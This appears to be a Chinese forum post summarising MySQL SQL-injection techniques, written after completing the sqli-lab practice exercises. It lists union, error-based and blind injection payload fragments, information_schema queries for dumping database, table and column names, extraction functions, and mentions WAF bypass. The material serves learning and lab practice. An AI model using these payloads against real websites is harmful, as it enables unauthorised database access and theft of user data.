-
-
[分享]sql注入姿势总结
-
发表于: 2021-1-5 17:25 2600
-
以前关于sql注入的知识掌握的很零碎,最近把sqli-lab的题都刷了一遍,基本上把思路理清楚了。
sqli-lab前后断断续续用了三个月才做完,总结一下,避免忘记(mysql):
一、注入的方式
基本上分为三种:
1.联合注入查询:union select 1,2,3...
2.基于报错输入:基于select count(*),(floor(rand(0)*2)) x from tablename group by x语句
3.盲注:
布尔:and substr((select username from users limit 0,1),1,1)>'r'
延时:and if(substr(database(),1,1)>'r',sleep(5),1)
二、信息获取中常用的方法和函数
order by 获取列数
@@version_compile_os 查看系统信息
@@hostname 查看主机名
@@version 版本
@@datadir 物理路径
user( ) 当前用户
database() 当前数据库
SELECT group_concat(schema_name) FROM information_schema.schemata 暴库
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = "databasename" 暴表
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'tablename' 暴字段
三、其他常用的函数
concat_ws()函数:多列拼接。【concat_ws(分隔符,列名1,列名2,...)】
group_concat()函数:多行拼接。【group_concat( distinct 要拼接的列 order by 列名 separator 分隔符)】
concat_ws()函数和group_concat()函数混合使用:【group_concat(concat_ws('@',username,pwd) separator '<br>')】
substr()函数:截取字符串。【substr(字符串,开始位置,截取长度)】初始位置为1
substring()函数:截取字符串。【substring(字符串,开始位置,截取长度)】初始位置为1
left()函数:获取字符串左边部分。【left(字符串,长度)】
mid()函数:截取字符串一部分。【mid(字符串,开始位置,截取长度)】初始位置为1
right()函数:获取字符串右边部分。【right(字符串,长度)】
ord()函数:返回第一个字符的ASCII码。【ord(字符串)】
ascii()函数:返回字符的ASCII码。【ascii(字符)】
sleep()函数:睡眠一定的秒数,返回值为0。【sleep(秒数)】
benchmark()函数:将表达式重复执行指定次数,返回值为0。【benchmark(次数,表达式)】
注入过程中保证sql语句语法的方法: ①使用注释符号截断sql语句;②使用尾部闭合方式
四、其他方法
主要是如何避免被转义,waf bypass等,涉及到编码替换、截断等,这些就具体问题具体分析了。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课